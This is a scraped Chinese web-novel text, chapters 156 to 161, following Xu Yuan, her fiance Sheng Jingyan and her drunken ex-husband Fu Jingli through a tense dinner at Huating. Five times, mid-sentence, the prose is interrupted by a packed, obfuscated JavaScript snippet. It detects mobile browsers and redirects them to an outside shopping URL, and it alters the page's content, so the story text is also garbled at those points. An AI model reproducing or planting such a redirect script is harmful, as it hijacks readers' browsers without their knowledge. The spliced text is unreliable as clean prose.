韩越算是几人里面最稳重的,他站起身对许愿友好一笑:“许小姐,久仰,我想我们在晚宴上见过面,也期待未来能有合作的机会。” “谢谢。” 许愿以茶代酒敬他。 都到这时候了黎云笙也是知礼数的淡淡点了下头简短介绍自己,倒是没提许愿跟盛华的关系。 轮到韩城时,韩城先是敬了许愿一杯酒后才不乐意的在一旁嚷嚷:“许愿可以不喝酒但盛景炎凭什么不喝?脱单了找到的还是许小姐这样的好处都让你占尽了喝杯酒怎么了。” 他就是纯酸。 本来盛景炎这人在他们小圈里其实较稳重的,在外人眼里身边数不清的解语花,但事实上却蠢得厉害,这次带了许愿,又是他们真正意义上的以朋友身份见面准备的酒还挺多的,都是为了灌盛景炎。 第156章 《顶级练习生》是她投资的 今晚盛景炎是主角,没人会灌许愿酒,由着她喝果汁,但是对盛景炎他们可不会客气。 韩城酸酸的:“盛景炎终于有人要了,打了这么久的光棍,实在是不容易。” 韩城这么说,显得盛景炎清白无辜得很,明明这人长了一张浪子脸。 他偏头对上许愿看过来的眼尾微微上挑:“怎么了?” “感觉纯情人设跟你……不是很贴。” “我纯不纯你不是最清楚吗。” 他还挺不要脸的。 他开始是挺纯的,接吻都只是唇瓣贴着唇瓣,接吻都要问过她,现在谈了一段时间脸皮厚了一圈,也不知脑内自学多久了,哪有半点纯情影子。 盛景炎靠着椅背,眼神散漫没有半点锐利,似乎还带着几分戏谑。 韩城还嚷嚷着让盛景炎喝酒,盛景炎笑。 “哦,就只有我吗?你们是不是把黎云笙忘了?” “我和阿愿也就是谈了恋爱订个婚,黎云笙可是把人哄骗到手证都领了,让我喝酒那黎云笙不应该一起来?” 盛景炎直接往黎云笙身上甩锅,黎云笙挑了下眉。 “她有事没时间来,下次再约,今晚你是主角。”黎云笙推脱。 “到底什么要紧事?” 韩城起哄。 “没什么要紧事,就是我要举办婚礼她不愿意再跟我闹别扭,最近又要参加综艺录制在家练习舞蹈,我这个丈夫都被抛到脑后了。” 黎云笙声音淡淡的,也不知道是说给谁听的。 “什么综艺?” 许愿顿了下,她和温栩栩关系那么好,却完全没听说过这件事。 “选秀综艺,现在还是海选阶段,她说想拿个c位回来。” 他似乎觉得挺好笑的。 “顶级练习生?” 许愿开口问了句。 黎云笙目光落到她身上,他讨厌许愿和温栩栩的这种默契。 “我投资的。” 许愿说道:“如果是栩栩去参加的话,以她的实力绝对可以c位出道,有她在这档节目必定会火的。” 黎云笙却是听得愈发想冷笑了。 他就说温栩栩突然发什么疯要去参加《顶级练习生》,他给资源不肯要,一定要去当什么女爱豆在台上又唱又跳,闹到最后这档节目是许愿投资的。 说得冠冕堂皇是为了她自己,还不是为了许愿? “许小姐投资的,她总是会捧场。” 黎云笙意味深长的回了句:“感情可真好啊。” 许愿早就知道黎云笙对自己没什么好感,他这样阴阳怪气她也不觉得有什么,反而是面带笑意:“我和栩栩感情确实很好。” 明明暗地里带着嘲意的,许愿却像是什么都没听出来似的这么回了句。 黎云笙根本笑不出来。 他的女人,心里最在意的却是许愿这个女人,衬得他成了笑话一般。 他心情不爽,也不管今晚他是主角还是盛景炎是主角,管谁劝酒都喝了,明知这些人逮着机会不停地灌他的酒,还说出了各种奇葩的劝酒理由,盛景炎是心情很好来者不拒,很豪迈的一杯一杯的喝着,黎云笙则是心情不爽的灌酒。 他们喝得凶,许愿也没劝,盛景炎不是那么没有分寸的人。 结果喝酒喝得多了,等许愿想去洗手间了,屋里的洗手间此时却被韩城占着。 许愿跟盛景炎说了声,要去外面的洗手间去。 盛景炎虽然看着喝了不少酒,却看不出醉意,一双眼仍然清明。 “我陪你。”他放下筷子,就要起身。 “不用。”许愿赶紧拉住他:“去个洗手间还要你陪,你当我小孩子吗。” 说完,就怕盛景炎跟着似的,她赶紧往外跑。 她刚出门,落在桌上没有拿走的手机就响了。 盛景炎瞥了眼屏幕上那组号码,熟悉到他都可以倒背如流了,盛景炎薄唇抿了下,目光冷冽却又带着讽意,对这组数字透着厌恶。 又让手机响了几下,他才拿起来,长指滑了接听,把手机放在耳边却不说话。 …… 许愿去洗手间清理了下才离开洗手间。 一出门,她就撞进了一个男人的怀里。 “抱——”抱歉的话还未说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618110|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许愿抬头,声音戛然而止。 “阿愿。”傅京礼拥着她,嘴唇抵着她的发,喃喃的叫。 他身上有淡淡的酒味,许愿身体都僵了,她是怎么都没想到傅京礼会出现在这里。 这里是华庭,傅京礼出现在这里……好像也很正常。 许愿此刻只觉头疼,早知道会发生这种事她一早答应盛景炎陪他一起了,也好过自己现在面对醉鬼。 “你喝醉了,放开我。”她声音冷淡。 “许愿,为什么这样对我。”傅京礼低声说,“你给我的和给盛景炎的差太多了……” 他喝醉了,声音带着明显的哑意。 他说的是那辆车,他很在意这件事。 他清楚盛景炎说的“独一无二”就是挑衅他的。 “你是说‘独一无二’吗。” 许愿退后几步,和他隔开距离, 然后眉眼间都带着疏离淡漠。 “你知道力的作用是相互的,那你知道感情也是相互的吗。” 许愿抬头就这样目光清润的望着他:“盛景炎是如何对我的你又是如何对我的。” “他把我当做他的独一无二,那么你曾经把我当作什么。” 许愿姿态悠然的倚靠在一旁,抬起头时眼底都掠过一丝淡淡的暗芒。 她其实好像有些解脱了。 若说对他毫无感情那是绝不可能的,但或许是在最痛苦的时候开始了一段新的感情,所以在这种时刻脑海中最先想到的是盛景炎,不再是傅京礼。 “其实你根本没有办法回答这个问题,因为那三年你从未真正把我放在心上,更不要提什么独一无二。” “知道同样的情况盛景炎会选择如何做吗。” 许愿此刻似乎毫不在意自己的某些言论会伤到面前的人了。 他这样薄情,她又何必为他留情面。 “他会想为什么没有得到这样的优待,是不是有哪里自己没有做对,既然他都没有做到这一步,又凭什么奢求别的人全心全意。” “就像我们之间。” 许愿稍稍停顿片刻,眼底的笑意都是带着冷意的。 第157章 许愿,别离开我 “如果你知道我送你那辆车的时候还没有参加那场比赛没有信心自己组装车型你会好受吗?或者说你可以试想当初的我拿到的第一笔奖金买到的就是那辆车,第一笔奖金全都花在你身上,你为什么还会认为我该对你有亏欠。” 为什么没有送傅京礼自己改装后的车? 是她不想送吗? 不是的,是她太在乎傅京礼,她担心自己当时改造的车子还没有经过多次测试会有安全隐患所以一再小心。 是太在乎所以送出这辆车的时间一拖再拖。 一直拖到……两人离婚送给盛景炎。 现在想来,这未尝不是更好的安排。 “这样不是很好吗?” “我们离婚了,我改造的车子也送给了我真正的爱人,没什么不对的不是吗。” 许愿觉得挺无趣的,她已经没有跟他继续交流的欲望,只是垂下眼睫,眼底的嘲讽呼之欲出。 她抬眸望着傅京礼,接连退后几步。 “自始至终,我没有做过对不起你的事,傅京礼,我不愧疚。” 他是真的醉了,明明醉着却又带着几分清醒,他听到许愿说的那些,脑海中闪过的是那辆许愿送给他的车。 他开了两年的却被许愿轻而易举丢掉的车。 “那辆车我开了两年。” “所以呢。” 许愿黑眸闪动,她抬眸望着她,唇角的讥讽意味儿实在明显。 “要我感谢傅总的不嫌弃吗。” “我只是……不甘心。” 他拽住她的手臂,用力握住,许愿吃痛的皱眉:“放开我!” “许愿。” 他醉得厉害,她没有对上他那双深沉漆黑的眼眸,所以看不透眼眸深处的深沉破碎感。 他这样的人甚至想说,许愿,别离开我。 可话到了嘴边,无论如何都是说不出的。 他想要将人搂抱进怀中,感受她温暖的体温和馨香的味道,就像往日那般,他喝醉她会一直陪在她身边。 为什么不能像从前那样,回到过去那样不好吗。 “我看你是疯了。” 许愿语气中甚至透着厌恶。 她用力的想要甩开男人桎梏的手,下一秒就听到身后传来让人熟悉又厌恶的惊呼声。 “姐姐!你在跟阿礼做什么呢!” “你都已经跟阿礼离婚了就不要再继续纠缠他了!” “你这样一直纠缠他把盛二少放到哪里!” 是许宁。 她知道今晚是傅京礼要跟江惊蛰那些人聚餐,但傅京礼根本没有要带他过去的打算,她这才自己鬼鬼祟祟的跟在傅京礼身后,哪怕是远远看着都行。 谁知道会看到傅京礼撞上许愿! 怎么就这么巧! 她根本不相信这么多的巧合,她就认为是许愿故意想要勾搭傅京礼想要重回傅氏。 她眼底的狠辣险些要藏不住,冲过去一把推开许愿,若非许愿今晚穿的是平底鞋,此刻许是会被推倒。 她踉跄了下,手臂扶在墙壁上,另一只手抚着小腹没有感觉到不适后方才站直身体。 许愿就站在原地。 她一向是美丽的,只是此刻的她没有化妆,五官仍然明艳却多了几分素净的感觉,像是出尘的荷花。 她抬眸看着距离自己并不算远的男人,唇角都轻微勾动。 “你说你不甘心,那么现在你就明白你不配不甘心。” 许愿转身就要离开,目光掠过的方向,入目的是江惊蛰宋野几人。 宋野懒懒散散的斜倚在墙边,他似乎也喝了酒,不过喝得不多,此刻西装外套都搭在肩上,手臂上的衬衣拢起露出手臂上的肌肉。 他额前的碎发并未遮住那双闪烁危险光芒的桃花眼,唇角的弧度若隐若现,他的目光显示略过许愿,他们之间太熟了所以只是挑了下眉算作打招呼,目光逐渐后移落到许宁脸上,喉间溢出嗤笑声。 江惊蛰依旧西装革履,不过身上没有穿着西装外套,很普通的衬衣和西装裤的造型,整个人简洁沉稳。 注意到许愿的目光唇角勾起一抹笑:“晚上好,今晚阿野约的聚餐,一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618111|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗。” 容浔和沈略站在两人身后,听到这句话也撩起眼皮看向许愿,容浔甚至轻笑一声:“今晚聚餐无非是谈一谈金融峰会的事,要来吗。” 他们就是如此无视了许宁,当着她的面邀请许愿去参加他们圈子的聚会。 许愿还未开口,长廊另一头已经传来不疾不徐的脚步声。 “那实在是不凑巧了,我们今晚也是因为金融峰会的事聚在一起,阿愿怕是不能陪各位一起了。” 为首的是盛景炎,似乎是因为许愿出来太久,所以打算出来找人,韩城这群人纯粹是来看热闹的。 至于黎云笙?他是被韩越叫来的。 他厌恶许愿是一回事,但许愿现在是盛景炎的人,傅京礼那头的还想挖墙脚?做什么梦? 黎云笙神情寡淡,面上不带半分表情,冷酷又危险。 “许小姐现在已经是阿炎的未婚妻,那就是属于盛世的,盛世和诸位的公司虽然不是敌对公司,但……谁 也不能保证此次金融峰会会不会看中同一个合作案,所以约饭就不必了。” 韩城就不像黎云笙这样有“礼貌”了。 “你们跟傅京礼玩到一起的都这么没脸没皮吗?”韩城连着嗤笑几声,他身上散发着混不吝儿的劲儿。 “许愿现在是盛景炎未婚妻,我嫂子,大晚上的你让她去你们包厢谈什么工作?无非是想撮合她和傅京礼罢了。” “傅总又喝醉了,这种时候你们是不是又要让我们嫂子送人了?送一个喝醉酒的男人回家……呵,你们都藏着什么心思我都懒得说。” 场面一时静下来。 黎云笙沉默的往旁边挪了挪,眼底带着几分无奈。 虽然这话是向着盛景炎的,可这话也太糙了点。 韩越脸上温温柔柔的笑意都挂不住了,他深吸了一口气:“闭嘴吧你。” 韩城啧了一声,果真不说话了。 容浔眼底藏着几许锋芒,他笑了一声:“韩二少应该是想多了些,虽然阿愿离开了傅氏,但我们私下也是朋友,当然不会不顾阿愿的意愿做事。” 第158章 内涵 容浔心眼是真多。 许愿没有回应说自己不想参加聚餐,他讽的是盛景炎他们直接越过许愿拒绝了他们的邀请。 另一层意思,若是许愿同意送傅京礼回去或者发生更多事那就是许愿自己愿意,与他们无关了。 不过一句话,都在内涵人。 这一群人哪个不是人精?谁听不出来容浔话中深意? 这阵仗也确实是少见。 这群人随便单拎个人出来在圈子里都是佼佼者,换句话说任何一个人出事金融圈子都要震上一震。 平日里哪怕是再豪华的宴会也不一定能凑齐这群人,偏偏今晚这群人都出现在华庭。 已经有人远远看到他们两队人像是对峙又像是在谈笑风生,就是……这地点是不是不太对?谁会把地点定在洗手间的? 已经有人看到他们围着的人是许愿了,看热闹的人顿时更多了。 围着的人是许愿啊。 行,那他们就明白为什么这群人会聚到一起了! 拜托围着的人是许愿!摆明了是傅氏和盛世在争许愿呢! 看热闹的人越来越多,纷纷聚在远处,没几个人敢凑近问情况。 眼见周围的人愈发多了,盛景炎也感受到许愿的烦躁。 他缓步走到许愿身边,将人挡在自己身后。 “阿愿,你要跟那个内涵我的容秘书聚餐吗。”盛景炎握住她的手,很轻很轻的揉捏了下。 他这话问得直白,也不避开旁人,就当着容浔的面问出来,容浔内涵他,盛景炎就不一样了,他大大方方直白的开口直言容浔内涵他。 一直镇定自若的容浔眼皮都跟着一跳。 他倒是没想到盛景炎不按照常理出牌来了这么一句话,当他面告状,离谱。 盛景炎这话一出,众人的目光齐刷刷的全都落到许愿身上。 黎云笙等人在看她,宋野等人也在看她,显然都在等着许愿的答案。 许愿微微垂眸眼底掀不起丝毫波澜,她是真的在烦躁,连根头发丝都能显露出她的不耐来,但偏偏还抬起头露出甜美的笑容。 盛景炎低头看到她这表情心里咯噔了一下,沈略和容浔跟她共事这么久可太了解她了。 每一次啊!每一次许愿要阴人耍人前都是这个表情! 当初洪门谈判的时候许愿就露出这个笑容,把莱蒂斯那狗东西迷成什么样了,在谈判桌上大放厥词喊她甜心亲爱的这类,结果当天莱蒂斯在谈判桌上连连败退,所有的底细都被扒出来。 如果说是洪门谈判真正的成就了许愿,那洪门谈判就是让莱蒂斯成为笑料的罪魁祸首。 所以容浔脸上那惯性的礼貌微笑都跟着僵了,沈略现在就想开溜。 可还是晚了一步。 “只带我聚餐多无趣,要聚餐大家一起聚不是更好更热闹吗,毕竟你们都那么有共同话题呢。”许愿面带微笑,笑得温柔和缓,但说出的话却刺得人身体都凉凉的了。 “沈略你和黎少的秘书林岩不是最聊得来吗?你们当初一起参与斐城谈判应该非常有默契呢。” 沈略:“……” 林岩:“……” 哈,斐城谈判,沈略和林岩一个代替傅氏一个代替黎昀霆的黎氏参加,最终两方互相攻击让第三方渔翁得利,好好的合作被国外新兴的小企业抢走,这件事国内没传开极少有人知道。 但这俩人因为这次谈判将对方视作死敌,全都认为是对方的锅,简直是老死不相往来。 默契?哪有默契了! “容浔和黎少的秘书白洛应该也很有缘吧,你们可以好好回味下一年前竞标c市山城土地的案子,毕竟斗成那样策划书项目书全都准备好了却被国家叫停原因是挖出了遗迹这种事,几十年也遇不到几次吧,你们还能在竞争过程中一起遇到,谁不为你们鼓掌喝彩夸一句有缘分呢。” 容浔:“……” 白洛:“……” 两人面无表情的推了推鼻梁上的眼镜,互相看了对方一眼,然后默默转移视线。 被许愿当典型嘲出来,容浔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618112|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不觉得自己无辜,毕竟确实是自己先内涵的,有点活该。 现场死一样的寂静。 每个人都有那么点担心点到自己,宋野和韩城这两个最肆意的人已经想拔腿就溜了,结果被许愿点名了。 “宋野和韩城,一起在夜店喝醉酒后为了一名夜店驻唱美女一掷千金大打出手最后发现对方是男性的感想是什么呢,这么久了我真的非常想采访下两位。” 许愿笑容甜甜的。 感想是什么!这就是奇耻大辱啊奇耻大辱啊! 韩城和宋野对视,下一秒就觉得反胃。 也没人告诉他们许愿阴人这么不挑的,什么刺激人说什么啊! 现场人人自危,许愿一个都没放过,点了一圈人,均跟对方圈子有摩擦,直到只剩下黎云笙和傅京礼没点。 黎云笙掀了掀眼皮,完全不认为自己能有什么黑历史被许愿揪出来。 他嗤笑一声,似乎就等着看许愿好戏似的,结果许愿下一秒果然面带微笑的对上他。 “黎少忘记莱蒂斯曾经追求过你吗?” 黎云笙:“……” 所以呢? 他没开口,毫无感情的眼睛就这么直勾勾盯着许愿,似乎是等着她还能胡说八道些什么。 许愿微笑:“不巧,莱蒂斯也追求过傅总,你们这么有默契刚好可以一起谈一谈被男人追求的感想,哦,如果你们愿意的话还能跟追求过男人的韩城宋野凑一桌,想来你们之间一定会有共同话题的。” 真是完完全全的将在场所有人都点了一个遍,除了盛景炎,全都没放过。 黎云笙眼皮直抽。 所以他就说他是真的很讨厌许愿了! 这个女人真是完全没有半点分寸感! 眼见许愿略过了盛景炎,在场的人目光全都放到最后一个“幸运儿”身上,盛景炎先是笑容得意感觉被偏爱了,可下一秒就觉得这群人虎视眈眈,没安好心啊! “盛景炎在巴黎的时候追求过一位模特阿愿你听说过这件事吗?” 第159章 腹黑许愿 “为了捧一位好莱坞影星豪掷千金呢,送的礼服都高达百万。” “对,还同时追求过一对儿双胞胎姐妹!” 众人七嘴八舌的谈论着有关盛景炎的八卦,是真不打算给盛景炎留半点底牌。 盛景炎莫名其妙就成了被众人批斗的那一个,唇角都忍不住直抽。 许愿脸上的笑意丝毫不减,关于盛景炎的事她还真就是纯属听个乐子,根本没往心里放,甚至乐融融的鼓了个掌。 “大家这不是很默契吗,提到盛景炎更有默契了,所以更要一起聚餐了,你们大家一定会非常有共同话题的。” 众人:“……” 到底谁会跟那个神病有共同话题啊! 这话没说出来,一大群人凑到了同一个包厢,这群人一直都有自己的专属包厢,聚会也不会放多余的椅子桌子,这次还特地让侍应生添了桌子椅子。 看热闹的一群人眼睛都看直了,谁也没想过会是这种发展啊。 而许宁就像是个小丑一样,完全被人遗忘了。 谁也没能记起角落里还有个一直在一旁和稀泥找茬的许宁。 当然许宁也没有这个胆子当着这么多大佬的面跳出来内涵许愿嘲讽许愿,除非真的是脑袋被门夹了疯掉了,否则这会儿自然是有多远滚多远。 这群人的“争吵”就这样以一种诡异的形式结束落幕了,充满了戏剧性。 看戏的一群人都傻眼了。 “到底是谁赢了?谁抢到许愿了?” “不知道啊?也没说许愿到底是回傅氏还是去盛世啊?” “怎么还一起聚餐了?那些人……等会儿?那群人进去真的不会打起来吗!” “我靠我靠,真的是震惊我全家!这群人聚会!我就没见过有任何一场晚宴舞会能凑齐这群人的!我这就打电话把我全家都叫来!看不到开场的热闹还等不到散场的热闹吗!” 事情闹得还挺大,金融圈子商业圈子都听说了。 事情大到在家里敷面膜的温栩栩都得到消息了。 温栩栩在圈子里还是有那么点人脉的,得到一群人聚会的真正原因后嘴角直抽,是真没想到这事儿跟许愿有关,就是觉得这群人聚到一起诡异得很。 包厢内。 本来就是两个圈子的人,硬融到一起,许愿还非常“好心”的给这群人分了座位,两两坐在一起,谁跟谁有嫌隙就把谁俩分一起,简直是一分一个不吱声。 容浔对白洛、沈略对林岩,宋野对韩城,黎云笙对傅京礼…… 魔鬼配对啊。 谁看了谁不夸一句狼人。 容浔白洛,两只温和的眯眯眼笑面虎凑到一起,腹黑感都要漫出来了。 白洛皮笑肉不笑的用两人才能听到的声音夸容浔:“容秘书真是有能耐,能凭借一己之力让许小姐邀了我们这群人一起聚会,这辈子都不可能的事托容秘书的服让我运气这么好的赶上了。” 容浔推了推鼻梁上的眼睛,语气平静,却能明显感觉到带着几许波澜。 “那你以后一定会一直像今天这样运气好。” “……”白洛眼前一黑,微笑:“呵呵,那我也祝容秘书像今天这样运气好呢。” 沈略和黎云笙的秘书林岩就稍稍好点,虽然不对视但好歹没有阴风阵阵,算是正常人之间的交流。 “许小姐疯起来这么可怕吗。”林岩跟许愿没有明面接触过,还真不了解许愿,否则也问不出这么小白的话来。 沈略抬手捏了捏眉心。 “傅氏铁三角,许一容二沈老幺你以为这句话为什么被传出去?你以为按照年龄分的还是按照实力分的?不不不,都不是,是按照疯的程度分的。” 沈略唇角都跟着抽动。 “阿愿她排在容浔前面,她排容浔前面,容浔哎,就那变态眯眯眼笑面虎纯腹黑,就肚子切开我都怕他把整个a市淹黑的腹黑东西,跟你们黎氏那个白洛半斤八两的几百个心眼子的容浔哎,这类排名阿愿排他前面!” “那些真的在原则问题上招惹到阿愿得,不是公司破产就是公司被重组的,总之……无一生还你记住。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618113|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 容浔就坐在沈略旁边,他捏着杯壁,一个字一个字很缓慢的开口:“沈略,我聋了吗。” 沈略咳了一声:“没。” “那你还一直说。” “……” 沈略默了三秒水灵灵的开口道歉:“对不起!” 惹不起变态! 包厢内的气氛岂止要用古怪来形容,简直是百年难得一遇呢。 许愿倒是窝在沙发上看着这一场景,眉梢只轻微跳了下,捏着杯壁摇晃了下,坐在她身边的盛景炎凑到她耳边,声音轻缓:“他们说的那些你问都不问的?” 这间包厢是盛景炎他们最初那间包厢,包厢内的灯光并不是多明亮,他们要的就是这种氛围感。 此刻朦胧昏暗的灯光打在男人的脸上,让他身上那股淡淡的温和感更加突出明显。 许愿抬眸看向他,目光在他那张俊美的脸上打量几眼,然后低头喝了口热牛奶:“他们说的那些你解释都不解释吗,还等着我问?” 经典反问句 ,权看盛景炎觉悟有多少呢。 盛景炎握住她的手,握紧,声音很轻。 “我追求的那位女模特是作秀作给盛三和我父亲看的,他们那时候防我防得紧,我不作秀做得认真点是瞒不过他们的,我跟那位模特什么都没有。” 许愿挑眉表情高傲。 “好莱坞女星和那对双胞胎姐妹也是这个道理,不疯点谁会相信我喜欢玩乐风流?” 盛景炎唇贴在她耳畔低声道:“你在乎这些吗,如果你真的在乎,今晚回去后我可以把我这些年所有跟这些相关的事情都找出来告诉你,绝对不会有隐瞒。” 许愿摇晃了下杯子,喉间溢出温和的笑意,可说出的话却一点都不温柔。 “哦,这么久的事情你都还记得吗?” “盛二少一年要换多少女人呢?那些女人你都记得清清楚楚吗?” “看来你对他们也印象深刻啊。” 许愿今晚真是杀疯了呢。 疯起来连男友都不放过。 第160章 醉酒后乖巧的盛先生 盛景炎低笑一声握紧她的手,十指紧扣:“因为担心未来的爱人吃醋生气,所以一早就整理好了所有资料,回去就给你看?保证不会有任何隐瞒。” “所以最开始为什么什么都没有整理好的资料?” 许愿声音仍然很温柔,眼尾弯弯的染带着笑意。 盛景炎挑了下眉:“知道我现在是什么心理吗?” “你问这些,难道不是你在乎我。” 若是换作以往的许愿可能问都不会问一句。 许愿眼皮跟着一跳,此刻就不是很想理他。 这场聚会结束得不算早,一群人没什么共同语言,坐在一起的几乎全部都是天敌,开口就是在怼人。 聚会终于结束时,韩城甚至松了口气,跟宋野坐一起几乎是互相掀对方老底,憋屈死了。 聚会结束离开包厢,此刻华庭大厅几乎坐满了人,熙熙攘攘的,甚至还多搬了几张桌子拼桌的,也不知道是塞了多少钱才让大堂经理同意在这边安桌,甚至还能看到拼桌的。 现场乱糟糟的,哪里像是上流圈子聚餐的星级酒店。 电梯才打开,第一批冲出来的韩城呲溜一下滑出来,下一秒就对上众人赤裸的热切的目光。 韩城:“……” 这种感觉,怎么说呢,自己就好像是被当作动物园的猴子由人观赏逗弄似的。 离谱过头了。 韩城外向的性格差点就憋成内向了,憋好一会儿才来了句:“呵呵,好多人啊。” 除了在华庭举办晚宴的时候还真没见现场有这么多人的。 “那什么,宋野在后面,宋家那位,有事儿找他啊!” 才随着韩城脚步出来的宋野听到这话还没反应过来,但直觉不是什么好事儿。 一出来对上众人的目光,风流桀骜的脸上瞳孔猛震,恨不能现在就把韩城拽回来踹上几脚。 不要脸啊狗东西! 宋野这么聪明怎么猜不到这群人为什么来这里,全是看乐子的。 宋野水灵灵的又迈回去钻进电梯了。 容浔看到他回来挑了下眉:“人很多?” 要不说容浔是心眼儿多的腹黑呢,一下就猜准了。 这班电梯人不算多,但容浔和白洛是一起下来的,两人对视了一眼,嗤笑一声,同时推动了下鼻梁上的眼镜,下一秒一同迈出电梯。 谁会想到容浔和白洛一起出场呢? 这俩人一起的时候多半是在谈判桌上,还是站在不同立场的敌对关系。 两个戴眼镜的眯眯眼笑面虎,一个代表傅氏一个代表黎氏。 本来都想看乐子的人心里都咯噔一声。 他们到底是哪里来的熊心豹子胆敢来看他们好戏的,真要被记到小本本上,说不定以后合作的机会都会变少。 容浔声音冷淡:“诸位,时间不早了。” 白洛接着他的话开口:“该散场了。” 现场的人立刻打着哈哈装作自己不是特意来看戏的,你一言我一语也不管与拼桌的对方是不是熟识了,一个个凑到一起狂奔而逃。 许愿跟在盛景炎身边从另一辆电梯里下来,正好撞见这一幕,微微挑了下眉梢:“像不像避瘟神?” 盛景炎喉间溢出笑意,轻咳一声:“确实挺像。” 到这会儿了还不忘给两人胸口插一刀呢,许愿报复心是真强啊。 看热闹的人已经走得不剩几人,许愿一直站在原地,目光一直未曾落在傅京礼身上,从头到尾,完完全全的无视他。 傅京礼的目光一直追随着她,看到她想要尽可能的远离他的样子,傅京礼眼睛酸涩的握起了拳。 只要他想,他甚至能当着所有人的面上前跨一步,伸出手就能再抓住她。 可是他没有,目光带着痛意,喉咙酸疼的难受,眼睁睁的看着许愿一步一步的,距离他越来越远。 他的目光一直未曾移开。 许愿和盛景炎离开了。 傅京礼微微垂眸,漆黑的瞳眸中闪烁着细碎的冷意。 江惊蛰想说些什么,但有些话到了喉口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618114|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却又说不出,只余沉默。 许愿和傅京礼到今天这一步究竟怪谁呢?他心里清楚,错的不是许愿,一直都是傅京礼。 盛景炎今晚喝的酒不算少,纵然是酒量再好,这会儿酒劲儿也有点上来了,这种情况自然不能让盛景炎开车,所以是许愿开车回家。 许愿倒也没看过盛景炎喝多的模样,他醉酒后还挺老实的,一言不发她让做什么就做什么。 许愿笑得眼睛弯弯的。 他和醉酒后的傅京礼是完全不同的,醉酒后的盛景炎较之平日里带着点淡淡的冷感,但这冷不是对他,只对其他人,在他面前是温柔的,看到她时一双朦胧的醉眼都闪烁着细碎温柔的光。 傅京礼不同,醉酒后的他总给人一种他还很清醒的错觉,带着明显清醒的冷意。 那种冷是对着她的。 傅京礼醉酒她会忙前忙后亲自准备醒酒汤,为他准备泡澡的热水,甚至还会自我感动的给他放松按摩…… 现在想来,那时的自己好像完完全全陷入爱情陷阱一样失去自我。 她唇角不受控制的溢出一抹自嘲之意,好在,现在她身边的人是盛景炎,好在,她选择了盛景炎。 客厅的灯光是那种偏黄的暖光,是盛景炎搬来后重新换的灯,此刻微微发暖的灯光照下来,倾洒在男人身上,让他整个人都看着柔软服帖,平日里那副邪肆浪荡的感觉恍惚在这一刻都消失不见了。 许愿走近,看到盛景炎怀里还抱着个棉花娃娃,是他找人专门定制的q版许愿,旁边还有个q版盛景炎,不过他没有抱q版的他自己。 有点过于可爱。 许愿眉眼弯弯的,在此刻仿佛已经忘记了今晚经历的所有不愉快。 她垂下眼睫,取出手机摁下快门,拍下了这样让人心动的一幕。 拍完照,许愿发送到自己微博账号上。 【许愿】:醉酒后乖巧的盛先生一枚~可可爱爱~ 图片上的盛景炎怀中抱着她的棉花娃娃,带点微醺,和平日里面对旁人的模样全然不同。 第161章 他想要许愿 他以往没少上各类报道,都是跟异性一同出行的,现在这张照片中却过于温和柔软,那张本来邪肆俊美的面容都显得温和,收容了所有尖刺只余柔和。 照片才发出来,微博就炸了。 此前不少人都不看好许愿和盛景炎在一起,但现在都被两人之间的互动闪到了。 “到底是谁!说他们两个人不般配的!到底是谁啊,你敢不敢站出来呜呜呜呜真的这俩凑一起天造地设的一对儿好不好!” “这什么经典的风流浪子只为你回头的剧情啊,绝配,仙品,谁也别拦着我磕!” 